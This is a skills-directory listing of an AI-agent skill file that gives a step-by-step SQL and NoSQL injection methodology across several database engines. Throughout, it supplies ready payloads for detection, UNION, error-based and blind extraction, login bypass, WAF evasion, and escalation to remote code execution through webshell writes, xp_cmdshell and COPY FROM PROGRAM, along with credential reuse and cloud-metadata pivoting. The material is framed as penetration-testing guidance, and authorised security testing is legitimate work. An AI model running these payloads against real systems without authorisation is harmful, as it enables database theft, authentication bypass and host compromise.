SQL and NoSQL injection testing — error-based, boolean/time-blind, UNION, stacked, out-of-band (OAST), and second-order, across MySQL/MariaDB, PostgreSQL, MSSQL, Oracle, SQLite and MongoDB. Context-aware probing, WAF evasion, authentication bypass, data extraction, and RCE escalation. Use for any parameter that reaches a database query.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Web Sqli?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-web-sqli)
---
name: web-sqli
description: SQL and NoSQL injection testing — error-based, boolean/time-blind, UNION, stacked, out-of-band (OAST), and second-order, across MySQL/MariaDB, PostgreSQL, MSSQL, Oracle, SQLite and MongoDB. Context-aware probing, WAF evasion, authentication bypass, data extraction, and RCE escalation. Use for any parameter that reaches a database query.
---
# SQL / NoSQL Injection
Goal: find a parameter whose value alters query logic, identify the DBMS and injection type, then extract data or escalate. Test *every* input that could reach a query — GET/POST params, JSON fields, headers, cookies, path segments, and ORDER BY / column-name contexts.
## Trigger phrases
`sql injection, sqli, union based, blind sqli, time based, boolean based, error based, nosql injection, mongodb injection, sqlmap, auth bypass, database extraction`
## Workflow
### 1. Detect
Probe each input and watch for behavioral change (error, content difference, timing).
- **Breakers:** `'` `"` `)` `')` `"))` backtick `--` `#` `/*`
- **Error-based probe:** `'` then `''` (toggle) — SQL error on one, normal on the other ⇒ injectable.
- **Boolean probe:** `' AND 1=1-- -` vs `' AND 1=2-- -` (and numeric `1 AND 1=1`) — differing responses ⇒ boolean-blind.
- **Time probe (confirm blind):** `'; SELECT SLEEP(5)-- -` / `' OR SLEEP(5)-- -` (MySQL), `'; SELECT pg_sleep(5)-- -` (Postgres), `'; WAITFOR DELAY '0:0:5'-- -` (MSSQL), `|| dbms_pipe.receive_message(('a'),5)` (Oracle).
- **OAST (when no visible/timing signal):** force a DNS/HTTP callback (see `${CLAUDE_PLUGIN_ROOT}/payloads/sqli.md` → OOB) — best for fully blind and firewalled targets.
### 2. Fingerprint the DBMS
Version strings and dialect quirks: `@@version` / `version()` (MySQL, Postgres via `version()`, MSSQL `@@version`), concatenation (`||` Oracle/Postgres, `+` MSSQL, `CONCAT()` MySQL), comment styles, `information_schema` vs Oracle `ALL_TABLES` vs SQLite `sqlite_master`. Fingerprint before building extraction payloads.
### 3. Determine injection type and exploit
- **UNION-based:** find column count (`ORDER BY n` until error, or `UNION SELECT NULL,NULL,...`), find a reflected/string column, then select data. Example: `-1 UNION SELECT NULL,@@version,database()-- -`.
- **Error-based:** use DBMS functions that leak data in errors — `extractvalue()`/`updatexml()` (MySQL), `cast()`/type errors (Postgres), `convert()`/`@@version` in error (MSSQL), `ctxsys.drithsx.sn`/`utl_inaddr` (Oracle).
- **Boolean-blind:** extract data bit/char at a time with `SUBSTRING`+comparison; automate the oracle.
- **Time-blind:** same, gated behind `IF(cond, SLEEP(n), 0)` / `CASE WHEN`.
- **Stacked queries:** `; INSERT/UPDATE/EXEC ...` where the driver allows multiple statements (common in MSSQL/PHP-PDO configs).
### 4. Extract
Enumerate: current user/db/version → schemas → tables → columns → rows. Target credentials, tokens, PII, and anything enabling a chain. From `information_schema.tables` / `.columns` (or DBMS equivalents). Keep extraction within RoE — prove access, don't bulk-exfiltrate.
### 5. Escalate toward RCE / host
- **MySQL:** `INTO OUTFILE`/`DUMPFILE` to write a webshell (if `secure_file_priv` allows and webroot known); `LOAD_FILE` to read files; UDF if privileged.
- **MSSQL:** `xp_cmdshell` (enable via `sp_configure` if sysadmin), `xp_dirtree`/`xp_fileexist` for NTLM capture/relay, OLE automation, linked-server pivoting.
- **PostgreSQL:** `COPY ... FROM PROGRAM` (RCE on ≥9.3 if superuser), large-object file write, `pg_read_file`.
- **Oracle:** `DBMS_SCHEDULER`/`UTL_HTTP`/`UTL_FILE`, Java stored procs.
- Also: read app/DB config for secrets, pivot to cloud metadata, reuse dumped creds elsewhere.
### 6. Auth bypass
On login forms: `' OR '1'='1'-- -`, `admin'-- -`, `' OR 1=1 LIMIT 1-- -`, and JSON/NoSQL equivalents. Confirm it actually authenticates (session granted), not just a different error.
## NoSQL (MongoDB & friends)
- **Operator injection (JSON):** `{"user":"admin","pass":{"$ne":null}}`, `{"$gt":""}`, `{"$regex":"^a"}` for blind extraction, `{"$where":"sleep(5000)"}` for time-blind/JS eval.
- **String context:** `admin'||'1'=='1`, `';return true;var x='`.
- Test auth bypass, blind field extraction via `$regex`, and server-side JS (`$where`, `mapReduce`) for RCE on misconfigured instances.
## WAF evasion (when blocked)
Mutate, don't repeat (see `${CLAUDE_PLUGIN_ROOT}/payloads/sqli.md` → Evasion):
- Comment insertion `/**/`, `/*!50000UNION*/` (MySQL versioned), case flips, whitespace alternatives (`%09`,`%0a`,`%0c`,`%a0`,`/**/`), `UNION` via `UNION ALL`, double-encoding, `CHAR()`/hex/concat to avoid quotes, `LIKE` instead of `=`, inline nulls, and scientific-notation/operator tricks (`1.e(...)`).
- Rotate keywords (`SeLeCt`), split with comments, use alternate operators and functions per DBMS.
## Tooling
- `sqlmap` for confirmation/automation: start low-risk (`--level=1 --risk=1`), raise as needed; `--batch`, `--technique`, `--tamper` for WAFs, `-r request.txt` from an intercepted request, `--os-shell`/`--sql-shell` for escalation. Always validate sqlmap's finding manually and capture evidence.
- Manual probing with `curl`/Burp first so you understand the behavior before automating.
## Second-order SQLi
Input stored now, used unsafely in a *later* query (e.g. registration username reused in an admin query). Inject on the write path, trigger on the read/admin path, and watch for delayed effects.
## Evidence
Capture the request, the differentiating response (error text, boolean diff, or timing), the DBMS/version proof, and a minimal data-extraction PoC. See `${CLAUDE_PLUGIN_ROOT}/payloads/sqli.md` for the full library.